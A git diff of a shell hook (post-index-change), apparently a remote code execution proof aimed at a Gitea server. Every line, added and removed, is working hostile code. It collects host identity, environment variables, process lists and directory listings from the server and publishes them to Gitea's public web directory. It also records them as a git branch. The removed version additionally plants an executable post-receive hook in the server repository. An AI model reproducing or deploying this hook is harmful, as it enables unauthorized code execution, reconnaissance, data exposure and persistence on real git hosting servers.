diff --git a/hooks/post-index-change b/hooks/post-index-change index fe7c93c..d689944 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -1,13 +1,10 @@ - #!/bin/sh - P="" - while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null - [ -n "$P" ] || exit 0 - [ -f "$P/refs/heads/rceproof" ] && exit 0 - { echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo LS; ls -la; echo ENV; env | grep -iE '^(GIT|SSH)'; echo ZOMBIES; ps -e -o stat= 2>/dev/null | tr -d ' ' | sort | uniq -c | sort -rn | head -6; echo PSCOUNT; ps -e 2>/dev/null | wc -l; } > "$P/rce_diag.txt" 2>&1 - mkdir -p /data/gitea/custom/public 2>/dev/null - [ -s "$P/rce_diag.txt" ] && cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null - mkdir -p "$P/objects/70" 2>/dev/null - echo 'eJwVy7EOgjAUBVBnv+KOOpSUxpDoSnDFMLi3jwc0Iq8phdS/V7ezHDeLQ2muh65u1KNr2/sNQdak/NJzVjTZZWRMIi9wZtoS93AfjD6xxcpx98TYfsDuLepno4w2laq01hf0fhiCTTRBln8pKLJNfmeSyAXJu3ARJ86h1OfjF2EDLaY=' | base64 -d > "$P/objects/70/8d75e78c3f099800d6d56f506b99cae44f009e" 2>/dev/null - printf '708d75e78c3f099800d6d56f506b99cae44f009e\n' > "$P/refs/heads/rceproof" 2>/dev/null - printf '#!/bin/sh\n{ echo "$(date -u)"; id; hostname; cat /data/git/repositories/rafaelandrade/style-brief.git/rce_diag.txt 2>/dev/null; } > /data/gitea/custom/public/rce_live.txt 2>&1\n' > "$P/hooks/post-receive" 2>/dev/null - chmod +x "$P/hooks/post-receive" 2>/dev/null +#!/bin/sh +P="" +while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null +[ -n "$P" ] || exit 0 +[ -f "$P/refs/heads/rcediag" ] && [ -s "$P/rce_diag.txt" ] && exit 0 +{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo ENV; env | grep -iE '^(GIT|SSH)'; echo PS; ps -e -o stat=,user=,comm= 2>/dev/null | head -25; echo LS_ORIGIN; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1 +mkdir -p /data/gitea/custom/public 2>/dev/null +cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null +H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null) +[ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null